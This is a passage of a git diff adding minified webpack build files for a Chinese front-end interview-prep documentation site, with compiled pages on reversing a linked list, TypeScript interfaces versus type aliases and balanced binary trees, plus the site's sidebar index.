r.createElement(r.Fragment,{},t)}},d=r.forwardRef((function(e,t){var n=e.components,a=e.mdxType,l=e.originalType,u=e.parentName,c=o(e,["components","mdxType","originalType","parentName"]),d=p(n),m=a,f=d["".concat(u,".").concat(m)]||d[m]||s[m]||l;return n?r.createElement(f,i(i({ref:t},c),{},{components:n})):r.createElement(f,i({ref:t},c))}));function m(e,t){var n=arguments,a=t&&t.mdxType;if("string"==typeof e||a){var l=n.length,i=new Array(l);i[0]=d;var o={};for(var u in t)hasOwnProperty.call(t,u)&&(o[u]=t[u]);o.originalType=e,o.mdxType="string"==typeof e?e:a,i[1]=o;for(var p=2;p2->3->4->5->NULL\n\u8f93\u51fa: 5->4->3->2->1->NULL\n")),(0,l.kt)("h2",{id:"\u89e3\u6cd5\u4e00\u8fed\u4ee3\u53cc\u6307\u9488"},"\u89e3\u6cd5\u4e00\uff1a\u8fed\u4ee3\uff08\u53cc\u6307\u9488\uff09"),(0,l.kt)("p",null,(0,l.kt)("a",{parentName:"p",href:"https://codesandbox.io/s/hzfe-suanfa-omcjw?file=/index.html"},"\u5728\u7ebf\u94fe\u63a5")),(0,l.kt)("p",null,"\u672c\u65b9\u6cd5\u662f\u5bf9\u94fe\u8868\u8fdb\u884c\u904d\u5386\uff0c\u7136\u540e\u5728\u8bbf\u95ee\u5404\u8282\u70b9\u65f6\u4fee\u6539 next \u7684\u6307\u5411\uff0c\u8fbe\u5230\u53cd\u8f6c\u94fe\u8868\u7684\u76ee\u7684\u3002"),(0,l.kt)("ol",null,(0,l.kt)("li",{parentName:"ol"},"\u521d\u59cb\u5316 cur \u548c pre \u4e24\u4e2a\u8282\u70b9\uff0c\u5206\u522b\u6307\u5411 head \u548c null\u3002"),(0,l.kt)("li",{parentName:"ol"},"\u5bf9\u94fe\u8868\u8fdb\u884c\u5faa\u73af\uff0c\u58f0\u660e temp \u8282\u70b9\u7528\u6765\u4fdd\u5b58\u5f53\u524d\u8282\u70b9\u7684\u4e0b\u4e00\u4e2a\u8282\u70b9\u3002"),(0,l.kt)("li",{parentName:"ol"},"\u4fee\u6539\u5f53\u524d\u8282\u70b9 cur \u7684 next \u6307\u9488\u6307\u5411\u4e3a pre \u8282\u70b9\u3002"),(0,l.kt)("li",{parentName:"ol"},"pre \u8282\u70b9\u4fee\u6539\u4e3a cur \u8282\u70b9\u3002"),(0,l.kt)("li",{parentName:"ol"},"cur \u8282\u70b9\u4fee\u6539\u4e3a temp \u8282\u70b9\u3002"),(0,l.kt)("li",{parentName:"ol"},"\u7ee7\u7eed\u8fdb\u884c\u5904\u7406\uff0c\u76f4\u5230 cur \u8282\u70b9\u4e3a null\uff0c\u8fd4\u56de pre \u8282\u70b9\u3002")),(0,l.kt)("pre",null,(0,l.kt)("code",{parentName:"pre",className:"language-javascript"},"/**\n * Definition for singly-linked list.\n * function ListNode(val) {\n * this.val = val;\n * this.next = null;\n * }\n */\n/**\n * @param {ListNode} head\n * @return {ListNode}\n */\nconst reverseList = (head) => {\n let cur = head; // \u6b63\u5411\u94fe\u8868\u7684\u5934\u6307\u9488\n let pre = null; // \u53cd\u5411\u94fe\u8868\u7684\u5934\u6307\u9488\n while (cur) {\n const temp = cur.next; // \u6682\u5b58\u5f53\u524d\u8282\u70b9\u7684\u540e\u7eed\u8282\u70b9\uff0c\u7528\u4e8e\u66f4\u65b0\u6b63\u5411\u94fe\u8868\n cur.next = pre; // \u5c06\u5f53\u524d\u8282\u70b9\u6307\u5411\u53cd\u5411\u94fe\u8868\uff0c\u8fd9\u662f\u4e00\u4e2a\u5efa\u7acb\u53cd\u5411\u94fe\u63a5\u7684\u8fc7\u7a0b\n pre = cur; // \u66f4\u65b0\u53cd\u5411\u94fe\u8868\u7684\u5934\u6307\u9488\u4e3a\u5f53\u524d\u5df2\u5904\u7406\u7684\u8282\u70b9\uff0c\u53cd\u5411\u94fe\u8868\u7684\u8be5\u8f6e\u6784\u5efa\u5b8c\u6210\n cur = temp; // \u5c06\u6b63\u5411\u94fe\u8868\u5934\u6307\u9488\u66ff\u6362\u4e3a\u6682\u5b58\u7684\u8282\u70b9\uff0c\u6b63\u5411\u94fe\u8868\u5904\u7406\u5b8c\u6210\uff0c\u5f00\u59cb\u4e0b\u4e00\u8f6e\u5904\u7406\n }\n return pre;\n};\n")),(0,l.kt)("h3",{id:"\u590d\u6742\u5ea6\u5206\u6790"},"\u590d\u6742\u5ea6\u5206\u6790"),(0,l.kt)("ul",null,(0,l.kt)("li",{parentName:"ul"},"\u65f6\u95f4\u590d\u6742\u5ea6 O(N)\uff1a\u904d\u5386\u94fe\u8868\u4f7f\u7528\u7ebf\u6027\u5927\u5c0f\u65f6\u95f4\u3002"),(0,l.kt)("li",{parentName:"ul"},"\u7a7a\u95f4\u590d\u6742\u5ea6 O(1)\uff1a\u53d8\u91cf pre \u548c cur \u4f7f\u7528\u5e38\u6570\u5927\u5c0f\u989d\u5916\u7a7a\u95f4\u3002")),(0,l.kt)("h2",{id:"\u89e3\u6cd5\u4e8c\u9012\u5f52"},"\u89e3\u6cd5\u4e8c\uff1a\u9012\u5f52"),(0,l.kt)("p",null,(0,l.kt)("a",{parentName:"p",href:"https://codesandbox.io/s/hzfe-suan-fa-fan-zhuan-lian-biao-di-gui-fa-forked-my3i4"},"\u5728\u7ebf\u94fe\u63a5")),(0,l.kt)("p",null,"\u5f53\u4f7f\u7528\u9012\u5f52\u5bf9\u94fe\u8868\u8fdb\u884c\u5904\u7406\u65f6\uff0c\u4ece\u94fe\u8868\u7684\u7b2c\u4e00\u4e2a\u8282\u70b9\u51fa\u53d1\uff0c\u7136\u540e\u627e\u5230\u6700\u540e\u4e00\u4e2a\u8282\u70b9\uff0c\u8be5\u8282\u70b9\u5c31\u662f\u53cd\u8f6c\u94fe\u8868\u7684\u5934\u7ed3\u70b9\uff0c\u7136\u540e\u8fdb\u884c\u56de\u6eaf\u5904\u7406\u3002"),(0,l.kt)("ol",null,(0,l.kt)("li",{parentName:"ol"},"\u521d\u59cb\u94fe\u8868\u7684\u5934\u7ed3\u70b9\uff0chead \u6807\u8bc6\u3002"),(0,l.kt)("li",{parentName:"ol"},"\u5982\u679c head \u4e3a\u7a7a\u6216\u8005 head.next \u4e3a\u7a7a\uff0c\u8fd4\u56de head\u3002"),(0,l.kt)("li",{parentName:"ol"},"\u5b9a\u4e49 reverseHead \u8282\u70b9\uff0c\u4fdd\u5b58\u53cd\u8f6c\u7684\u94fe\u8868\u503c\u3002"),(0,l.kt)("li",{parentName:"ol"},"\u6bcf\u6b21\u8ba9 head \u4e0b\u4e00\u4e2a\u8282\u70b9\u7684 next \u6307\u5411 head\uff0c\u5f62\u6210\u53cd\u8f6c\u3002"),(0,l.kt)("li",{parentName:"ol"},"\u9012\u5f52\u5904\u7406\u5230\u6700\u540e\u4e00\u4e2a\u8282\u70b9\uff0c\u8fd4\u56de reverseHead\u3002")),(0,l.kt)("pre",null,(0,l.kt)("code",{parentName:"pre",className:"language-javascript"},"/**\n * Definition for singly-linked list.\n * function ListNode(val) {\n * this.val = val;\n * this.next = null;\n * }\n */\n/**\n * @param {ListNode} head\n * @return {ListNode}\n */\nconst reverseList = (head) => {\n // \u5224\u65ad\u5f53\u524d\u8282\u70b9\u662f\u5426\u8fd8\u9700\u8981\u5904\u7406\n if (head == null || head.next == null) {\n return head;\n }\n // \u9012\u5f52\u5904\u7406\u540e\u7eed\u8282\u70b9\n const reverseHead = reverseList(head.next);\n // \u5c40\u90e8\u53cd\u8f6c\u8282\u70b9\n head.next.next = head;\n head.next = null;\n return reverseHead;\n};\n")),(0,l.kt)("h3",{id:"\u590d\u6742\u5ea6\u5206\u6790-1"},"\u590d\u6742\u5ea6\u5206\u6790\uff1a"),(0,l.kt)("ul",null,(0,l.kt)("li",{parentName:"ul"},"\u65f6\u95f4\u590d\u6742\u5ea6 O(N)\uff1an \u662f\u94fe\u8868\u7684\u957f\u5ea6\uff0c\u9700\u8981\u5bf9\u94fe\u8868\u7684\u6bcf\u4e2a\u8282\u70b9\u8fdb\u884c\u53cd\u8f6c\u64cd\u4f5c\u3002"),(0,l.kt)("li",{parentName:"ul"},"\u7a7a\u95f4\u590d\u6742\u5ea6 O(N)\uff1an \u662f\u94fe\u8868\u7684\u957f\u5ea6\uff0c\u7a7a\u95f4\u590d\u6742\u5ea6\u4e3b\u8981\u53d6\u51b3\u4e8e\u9012\u5f52\u8c03\u7528\u7684\u6808\u7a7a\u95f4\uff0c\u6700\u591a\u4e3a n \u5c42\u3002")),(0,l.kt)("h2",{id:"\u53c2\u8003\u8d44\u6599"},"\u53c2\u8003\u8d44\u6599"),(0,l.kt)("ol",null,(0,l.kt)("li",{parentName:"ol"},(0,l.kt)("a",{parentName:"li",href:"https://book.douban.com/subject/6966465/"},"\u5251\u6307 offer"))))}d.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/7c39e10e.7e061955.js b/assets/js/7c39e10e.7e061955.js new file mode 100644 index 0000000..edf82f1 --- /dev/null +++ b/assets/js/7c39e10e.7e061955.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkjjbook=self.webpackChunkjjbook||[]).push([[5582],{3905:function(e,n,t){t.d(n,{Zo:function(){return s},kt:function(){return y}});var r=t(7294);function a(e,n,t){return n in e?Object.defineProperty(e,n,{value:t,enumerable:!0,configurable:!0,writable:!0}):e[n]=t,e}function i(e,n){var t=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);n&&(r=r.filter((function(n){return Object.getOwnPropertyDescriptor(e,n).enumerable}))),t.push.apply(t,r)}return t}function p(e){for(var n=1;n=0||(a[t]=e[t]);return a}(e,n);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,t)&&(a[t]=e[t])}return a}var l=r.createContext({}),o=function(e){var n=r.useContext(l),t=n;return e&&(t="function"==typeof e?e(n):p(p({},n),e)),t},s=function(e){var n=o(e.components);return r.createElement(l.Provider,{value:n},e.children)},f={inlineCode:"code",wrapper:function(e){var n=e.children;return r.createElement(r.Fragment,{},n)}},u=r.forwardRef((function(e,n){var t=e.components,a=e.mdxType,i=e.originalType,l=e.parentName,s=c(e,["components","mdxType","originalType","parentName"]),u=o(t),y=a,m=u["".concat(l,".").concat(y)]||u[y]||f[y]||i;return t?r.createElement(m,p(p({ref:n},s),{},{components:t})):r.createElement(m,p({ref:n},s))}));function y(e,n){var t=arguments,a=n&&n.mdxType;if("string"==typeof e||a){var i=t.length,p=new Array(i);p[0]=u;var c={};for(var l in n)hasOwnProperty.call(n,l)&&(c[l]=n[l]);c.originalType=e,c.mdxType="string"==typeof e?e:a,p[1]=c;for(var o=2;o string;\n")),(0,i.kt)("h4",{id:"12-\u53ef\u6269\u5c55"},"1.2 \u53ef\u6269\u5c55"),(0,i.kt)("p",null,"Interface \u548c Type \u90fd\u53ef\u4ee5\u6269\u5c55\u7c7b\u578b\u3002"),(0,i.kt)("pre",null,(0,i.kt)("code",{parentName:"pre",className:"language-typescript"},"// Interface\ninterface IHzfe {\n name: string;\n}\ninterface IShfe extends IHzfe {\n location: string;\n}\n\n// Type\ntype THzfe = {\n name: string;\n};\ntype TShfe = THzfe & { location: string };\n")),(0,i.kt)("p",null,"\u53e6\u5916\uff0cInterface \u7684 extends \u548c Type \u7684\u4ea4\u53c9\u7c7b\u578b\u6709\u4e00\u4e9b\u7ec6\u5fae\u533a\u522b\uff1aextends \u4e2d\u7684\u540c\u540d\u5b57\u6bb5\u7684\u7c7b\u578b\u5fc5\u987b\u662f\u517c\u5bb9\u7684\u3002\u800c\u4ea4\u53c9\u7c7b\u578b\u4e2d\u51fa\u73b0\u4e86\u540c\u540d\u5b57\u6bb5\u4e14\u7c7b\u578b\u4e0d\u540c\u65f6\uff0c\u5219\u7c7b\u578b\u4e00\u822c\u662f nerver\u3002"),(0,i.kt)("h4",{id:"13-class-implements"},"1.3 class Implements"),(0,i.kt)("p",null,"Interface \u548c Type \u63cf\u8ff0\u7684\u7c7b\u578b\u90fd\u53ef\u4ee5\u88ab class \u5b9e\u73b0\u3002"),(0,i.kt)("pre",null,(0,i.kt)("code",{parentName:"pre",className:"language-typescript"},'// Interface\ninterface IHzfe {\n name: string;\n}\n\n// Type\ntype THzfe = {\n name: string;\n};\n\nclass HZFE1 implements IHzfe {\n name = "HZFEStudio";\n}\nclass HZFE2 implements THzfe {\n name = "HZFEStudio";\n}\n')),(0,i.kt)("h3",{id:"2-interface-\u548c-type-\u7684\u4e0d\u540c\u70b9"},"2. Interface \u548c Type \u7684\u4e0d\u540c\u70b9"),(0,i.kt)("h4",{id:"21-\u57fa\u672c\u7c7b\u578b\u522b\u540d\u8054\u5408\u7c7b\u578b\u5143\u7ec4"},"2.1 \u57fa\u672c\u7c7b\u578b\u522b\u540d\u3001\u8054\u5408\u7c7b\u578b\u3001\u5143\u7ec4"),(0,i.kt)("p",null,"\u7531\u4e8e Type \u5b9a\u4e49\u7684\u5b9e\u9645\u662f\u4e00\u4e2a\u522b\u540d\uff0c\u6240\u4ee5 Type \u53ef\u4ee5\u63cf\u8ff0\u4e00\u4e9b\u57fa\u672c\u7c7b\u578b\u3001\u8054\u5408\u7c7b\u578b\u548c\u5143\u7ec4\u7684\u522b\u540d\u3002"),(0,i.kt)("pre",null,(0,i.kt)("code",{parentName:"pre",className:"language-typescript"},"// \u57fa\u672c\u7c7b\u578b\ntype HZFEMember = number;\n\n// \u8054\u5408\u7c7b\u578b\ntype HZFEMemberTechStack = string | string[];\n\n// \u5143\u7ec4\ntype HZFEMember = [number, string];\n")),(0,i.kt)("h4",{id:"22-\u58f0\u660e\u5408\u5e76"},"2.2 \u58f0\u660e\u5408\u5e76"),(0,i.kt)("p",null,"Interface \u53ef\u4ee5\u91cd\u590d\u5b9a\u4e49\uff0c\u5e76\u5c06\u5408\u5e76\u6240\u6709\u58f0\u660e\u7684\u5c5e\u6027\u4e3a\u5355\u4e2a\u63a5\u53e3\u3002\u800c Type \u4e0d\u53ef\u91cd\u590d\u5b9a\u4e49\u3002"),(0,i.kt)("pre",null,(0,i.kt)("code",{parentName:"pre",className:"language-typescript"},'// Interface\ninterface IHzfe {\n name: string;\n}\ninterface IHzfe {\n member: number;\n}\n\nconst hzfe: IHzfe = { name: "HZFE", member: 17 };\n')),(0,i.kt)("h4",{id:"23-\u52a8\u6001\u5c5e\u6027"},"2.3 \u52a8\u6001\u5c5e\u6027"),(0,i.kt)("p",null,"Type \u53ef\u4ee5\u4f7f\u7528 in \u5173\u952e\u5b57\u52a8\u6001\u751f\u6210\u5c5e\u6027\uff0c\u800c Interface \u7684\u7d22\u5f15\u503c\u5fc5\u987b\u662f string \u6216 number \u7c7b\u578b\uff0c\u6240\u4ee5 Interface \u5e76\u4e0d\u652f\u6301\u52a8\u6001\u751f\u6210\u5c5e\u6027\u3002"),(0,i.kt)("pre",null,(0,i.kt)("code",{parentName:"pre",className:"language-typescript"},'type HZFELanguage = "JavaScript" | "Go";\ntype HZFEProjects = {\n [key in HZFELanguage]?: string[];\n};\n\nconst hzfeProjects: HZFEProjects = {\n JavaScript: ["xx", "xx"],\n};\n')),(0,i.kt)("h2",{id:"\u53c2\u8003\u8d44\u6599"},"\u53c2\u8003\u8d44\u6599"),(0,i.kt)("ol",null,(0,i.kt)("li",{parentName:"ol"},(0,i.kt)("a",{parentName:"li",href:"https://www.typescriptlang.org/"},"TypScript - Typed JavaScript at Any Scale"))))}u.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/8584d295.087c1e69.js b/assets/js/8584d295.087c1e69.js new file mode 100644 index 0000000..cbb18c2 --- /dev/null +++ b/assets/js/8584d295.087c1e69.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkjjbook=self.webpackChunkjjbook||[]).push([[7259],{3905:function(e,t,n){n.d(t,{Zo:function(){return c},kt:function(){return k}});var r=n(7294);function a(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function o(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function l(e){for(var t=1;t=0||(a[n]=e[n]);return a}(e,t);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(a[n]=e[n])}return a}var p=r.createContext({}),u=function(e){var t=r.useContext(p),n=t;return e&&(n="function"==typeof e?e(t):l(l({},t),e)),n},c=function(e){var t=u(e.components);return r.createElement(p.Provider,{value:t},e.children)},s={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},m=r.forwardRef((function(e,t){var n=e.components,a=e.mdxType,o=e.originalType,p=e.parentName,c=i(e,["components","mdxType","originalType","parentName"]),m=u(n),k=a,f=m["".concat(p,".").concat(k)]||m[k]||s[k]||o;return n?r.createElement(f,l(l({ref:t},c),{},{components:n})):r.createElement(f,l({ref:t},c))}));function k(e,t){var n=arguments,a=t&&t.mdxType;if("string"==typeof e||a){var o=n.length,l=new Array(o);l[0]=m;var i={};for(var p in t)hasOwnProperty.call(t,p)&&(i[p]=t[p]);i.originalType=e,i.mdxType="string"==typeof e?e:a,l[1]=i;for(var u=2;u=0||(o[t]=e[t]);return o}(e,n);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,t)&&(o[t]=e[t])}return o}var u=r.createContext({}),c=function(e){var n=r.useContext(u),t=n;return e&&(t="function"==typeof e?e(n):l(l({},n),e)),t},p=function(e){var n=c(e.components);return r.createElement(u.Provider,{value:n},e.children)},d={inlineCode:"code",wrapper:function(e){var n=e.children;return r.createElement(r.Fragment,{},n)}},f=r.forwardRef((function(e,n){var t=e.components,o=e.mdxType,i=e.originalType,u=e.parentName,p=a(e,["components","mdxType","originalType","parentName"]),f=c(t),s=o,h=f["".concat(u,".").concat(s)]||f[s]||d[s]||i;return t?r.createElement(h,l(l({ref:n},p),{},{components:t})):r.createElement(h,l({ref:n},p))}));function s(e,n){var t=arguments,o=n&&n.mdxType;if("string"==typeof e||o){var i=t.length,l=new Array(i);l[0]=f;var a={};for(var u in n)hasOwnProperty.call(n,u)&&(a[u]=n[u]);a.originalType=e,a.mdxType="string"==typeof e?e:o,l[1]=a;for(var c=2;c 1) {\n return -1;\n }\n\n return Math.max(left, right) + 1;\n};\n")),(0,i.kt)("h4",{id:"\u65f6\u95f4\u590d\u6742\u5ea6\u5206\u6790-1"},"\u65f6\u95f4\u590d\u6742\u5ea6\u5206\u6790"),(0,i.kt)("p",null,"\u7531\u4e8e\u662f\u540e\u5e8f\u904d\u5386\uff0c\u6bcf\u4e2a\u8282\u70b9\u53ea\u4f1a\u88ab\u8c03\u7528 1 \u6b21\uff0c\u6240\u4ee5\uff0c\u8be5\u65b9\u6cd5\u7684\u65f6\u95f4\u590d\u6742\u5ea6\u662f O(n)\u3002"),(0,i.kt)("h4",{id:"\u7a7a\u95f4\u590d\u6742\u5ea6\u5206\u6790-1"},"\u7a7a\u95f4\u590d\u6742\u5ea6\u5206\u6790"),(0,i.kt)("p",null,"\u8be5\u65b9\u6cd5\u7531\u4e8e\u4f7f\u7528\u4e86\u9012\u5f52\uff0c\u5e76\u4e14\u6bcf\u6b21\u9012\u5f52\u90fd\u8c03\u7528\u4e86\u4e24\u6b21\u81ea\u8eab\uff0c\u5bfc\u81f4\u4f1a\u51fd\u6570\u6808\u4f1a\u6309\u7167\u7b49\u5dee\u6570\u5217\u5f00\u8f9f\uff0c\u6240\u4ee5\u8be5\u65b9\u6cd5\u7684\u7a7a\u95f4\u590d\u6742\u5ea6\u5e94\u4e3a O(n^2)\u3002"))}f.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/935f2afb.8fe5126d.js b/assets/js/935f2afb.8fe5126d.js new file mode 100644 index 0000000..5e68450 --- /dev/null +++ b/assets/js/935f2afb.8fe5126d.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkjjbook=self.webpackChunkjjbook||[]).push([[53],{1109:function(e){e.exports=JSON.parse('{"pluginId":"default","version":"current","label":"Next","banner":"none","isLast":true,"docsSidebars":{"tutorialSidebar":[{"type":"link","label":"\u524d\u8a00","href":"/awesome-interview/"},{"type":"category","label":"\u6a21\u62df\u9898\u4e00","items":[{"type":"link","label":"\u6d4f\u89c8\u5668\uff1a\u6d4f\u89c8\u5668\u8de8\u57df","href":"/awesome-interview/book1/browser-cross-origin"},{"type":"link","label":"\u6d4f\u89c8\u5668\uff1a\u6d4f\u89c8\u5668\u7684\u91cd\u6392\u91cd\u7ed8","href":"/awesome-interview/book1/browser-repain-reflow"},{"type":"link","label":"\u5de5\u7a0b\u5316\uff1aWebpack \u5de5\u4f5c\u6d41\u7a0b","href":"/awesome-interview/book1/engineer-webpack-workflow"},{"type":"link","label":"\u6846\u67b6\uff1aVue \u7684\u6570\u636e\u7ed1\u5b9a\u673a\u5236","href":"/awesome-interview/book1/frame-vue-data-binding"},{"type":"link","label":"\u6846\u67b6\uff1aVue \u7684 computed \u548c watch \u7684\u533a\u522b","href":"/awesome-interview/book1/frame-vue-computed-watch"},{"type":"link","label":"\u57fa\u7840\uff1a\u95ed\u5305\u7684\u4f5c\u7528\u548c\u539f\u7406","href":"/awesome-interview/book1/js-closures"},{"type":"link","label":"\u57fa\u7840\uff1a\u524d\u7aef\u6a21\u5757\u5316\u89c4\u8303","href":"/awesome-interview/book1/js-module-specs"},{"type":"link","label":"\u6837\u5f0f\uff1aBFC \u7684\u5f62\u6210\u548c\u4f5c\u7528","href":"/awesome-interview/book1/css-bfc"},{"type":"link","label":"\u7f51\u7edc\uff1a\u524d\u7aef\u5b89\u5168","href":"/awesome-interview/book1/network-security"},{"type":"link","label":"\u7f16\u7801\uff1a\u5b9e\u73b0\u4e00\u4e2a Promises/A+","href":"/awesome-interview/book1/coding-promise"},{"type":"link","label":"\u7b97\u6cd5\uff1a\u5e73\u8861\u4e8c\u53c9\u6811","href":"/awesome-interview/book1/algorithm-balanced-binary-trees"},{"type":"link","label":"\u7efc\u5408\uff1a\u6d4f\u89c8\u5668\u4ece\u8f93\u5165\u7f51\u5740\u5230\u9875\u9762\u5c55\u73b0\u7684\u8fc7\u7a0b","href":"/awesome-interview/book1/topic-enter-url-display-xx"}],"collapsed":true,"collapsible":true},{"type":"category","label":"\u6a21\u62df\u9898\u4e8c","items":[{"type":"link","label":"\u6d4f\u89c8\u5668\uff1a\u6d4f\u89c8\u5668\u6e32\u67d3\u673a\u5236","href":"/awesome-interview/book2/browser-render-mechanism"},{"type":"link","label":"\u6d4f\u89c8\u5668\uff1a\u5783\u573e\u56de\u6536\u673a\u5236","href":"/awesome-interview/book2/browser-garbage"},{"type":"link","label":"\u5de5\u7a0b\u5316\uff1aBabel \u7684\u539f\u7406","href":"/awesome-interview/book2/engineer-babel"},{"type":"link","label":"\u6846\u67b6\uff1aReact Fiber \u7684\u4f5c\u7528\u548c\u539f\u7406","href":"/awesome-interview/book2/frame-react-fiber"},{"type":"link","label":"\u6846\u67b6\uff1aHOC vs Render Props vs Hooks","href":"/awesome-interview/book2/frame-react-hoc-hooks"},{"type":"link","label":"\u57fa\u7840\uff1aES5\u3001ES6 \u5982\u4f55\u5b9e\u73b0\u7ee7\u627f","href":"/awesome-interview/book2/js-inherite"},{"type":"link","label":"\u57fa\u7840\uff1aNew \u64cd\u4f5c\u7b26\u7684\u539f\u7406","href":"/awesome-interview/book2/js-new"},{"type":"link","label":"\u6837\u5f0f\uff1a\u8c08\u8c08 CSS \u9884\u5904\u7406\u5668","href":"/awesome-interview/book2/css-preprocessor"},{"type":"link","label":"\u7f51\u7edc\uff1aHTTP \u7f13\u5b58\u673a\u5236","href":"/awesome-interview/book2/network-http-cache"},{"type":"link","label":"\u7f16\u7801\uff1a\u5b9e\u73b0\u8282\u6d41\u53bb\u6296\u51fd\u6570","href":"/awesome-interview/book2/coding-throttle-debounce"},{"type":"link","label":"\u7b97\u6cd5\uff1a\u53cd\u8f6c\u94fe\u8868","href":"/awesome-interview/book2/algorithm-reverse-linked-list"},{"type":"link","label":"\u7efc\u5408\uff1a\u591a\u56fe\u7ad9\u70b9\u6027\u80fd\u4f18\u5316","href":"/awesome-interview/book2/topic-multi-pics-site-optimize"}],"collapsed":true,"collapsible":true},{"type":"category","label":"\u6a21\u62df\u9898\u4e09","items":[{"type":"link","label":"\u6d4f\u89c8\u5668\uff1a\u6d4f\u89c8\u5668\u4e8b\u4ef6\u5faa\u73af","href":"/awesome-interview/book3/browser-event-loop"},{"type":"link","label":"\u6d4f\u89c8\u5668\uff1a\u5982\u4f55\u5b9a\u4f4d\u5185\u5b58\u6cc4\u9732","href":"/awesome-interview/book3/browser-memory-leaks"},{"type":"link","label":"\u5de5\u7a0b\u5316\uff1a\u8c08\u4e0b webpack loader \u7684\u673a\u5236","href":"/awesome-interview/book3/engineer-webpack-loader"},{"type":"link","label":"\u6846\u67b6\uff1aReact Hooks \u5b9e\u73b0\u539f\u7406","href":"/awesome-interview/book3/frame-react-hooks"},{"type":"link","label":"\u6846\u67b6\uff1a\u5e38\u89c1\u6846\u67b6\u7684 Diff \u7b97\u6cd5","href":"/awesome-interview/book3/frame-diff"},{"type":"link","label":"\u57fa\u7840\uff1aJavaScript \u5f02\u6b65\u7f16\u7a0b","href":"/awesome-interview/book3/js-async"},{"type":"link","label":"\u57fa\u7840\uff1aTypeScript \u4e2d\u7684 Interface \u548c Type Alias","href":"/awesome-interview/book3/js-ts-interface-type"},{"type":"link","label":"\u6837\u5f0f\uff1a\u79fb\u52a8\u7aef\u81ea\u9002\u5e94\u7684\u5e38\u89c1\u624b\u6bb5","href":"/awesome-interview/book3/css-mobile-adaptive"},{"type":"link","label":"\u7f51\u7edc\uff1aHTTP2 \u548c HTTP1.1 \u7684\u5bf9\u6bd4","href":"/awesome-interview/book3/network-http-1-2"},{"type":"link","label":"\u7f16\u7801\uff1a\u5c06\u5217\u8868\u8fd8\u539f\u4e3a\u6811\u72b6\u7ed3\u6784","href":"/awesome-interview/book3/coding-arr-to-tree"},{"type":"link","label":"\u7b97\u6cd5\uff1a\u4e8c\u53c9\u641c\u7d22\u6811\u7684\u7b2c k \u4e2a\u7ed3\u70b9","href":"/awesome-interview/book3/algorithm-binary-tree-k"},{"type":"link","label":"\u7efc\u5408\uff1a\u5982\u4f55\u51cf\u5c11\u767d\u5c4f\u7684\u65f6\u95f4","href":"/awesome-interview/book3/topic-white-screen-optimization"}],"collapsed":true,"collapsible":true}]}}')}}]); \ No newline at end of file diff --git a/assets/js/9727.11e81aad.js b/assets/js/9727.11e81aad.js new file mode 100644 index 0000000..1360826 --- /dev/null +++ b/assets/js/9727.11e81aad.js @@ -0,0 +1 @@ +(self.webpackChunkjjbook=self.webpackChunkjjbook||[]).push([[9727],{3905:function(e,t,n){"use strict";n.d(t,{Zo:function(){return u},kt:function(){return d}});var r=n(7294);function o(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function a(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function l(e){for(var t=1;t=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}var c=r.createContext({}),s=function(e){var t=r.useContext(c),n=t;return e&&(n="function"==typeof e?e(t):l(l({},t),e)),n},u=function(e){var t=s(e.components);return r.createElement(c.Provider,{value:t},e.children)},p={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},y=r.forwardRef((function(e,t){var n=e.components,o=e.mdxType,a=e.originalType,c=e.parentName,u=i(e,["components","mdxType","originalType","parentName"]),y=s(n),d=o,m=y["".concat(c,".").concat(d)]||y[d]||p[d]||a;return n?r.createElement(m,l(l({ref:t},u),{},{components:n})):r.createElement(m,l({ref:t},u))}));function d(e,t){var n=arguments,o=t&&t.mdxType;if("string"==typeof e||o){var a=n.length,l=new Array(a);l[0]=y;var i={};for(var c in t)hasOwnProperty.call(t,c)&&(i[c]=t[c]);i.originalType=e,i.mdxType="string"==typeof e?e:o,l[1]=i;for(var s=2;s0&&e[n-1]===t?e:e.concat(t)},f=function(e,t){var n=e.plain,r=Object.create(null),o=e.styles.reduce((function(e,n){var r=n.languages,o=n.style;return r&&!r.includes(t)||n.types.forEach((function(t){var n=y({},e[t],o);e[t]=n})),e}),r);return o.root=n,o.plain=y({},n,{backgroundColor:null}),o};function g(e,t){var n={};for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&-1===t.indexOf(r)&&(n[r]=e[r]);return n}var v=function(e){function t(){for(var t=this,n=[],r=arguments.length;r--;)n[r]=arguments[r];e.apply(this,n),p(this,"getThemeDict",(function(e){if(void 0!==t.themeDict&&e.theme===t.prevTheme&&e.language===t.prevLanguage)return t.themeDict;t.prevTheme=e.theme,t.prevLanguage=e.language;var n=e.theme?f(e.theme,e.language):void 0;return t.themeDict=n})),p(this,"getLineProps",(function(e){var n=e.key,r=e.className,o=e.style,a=y({},g(e,["key","className","style","line"]),{className:"token-line",style:void 0,key:void 0}),l=t.getThemeDict(t.props);return void 0!==l&&(a.style=l.plain),void 0!==o&&(a.style=void 0!==a.style?y({},a.style,o):o),void 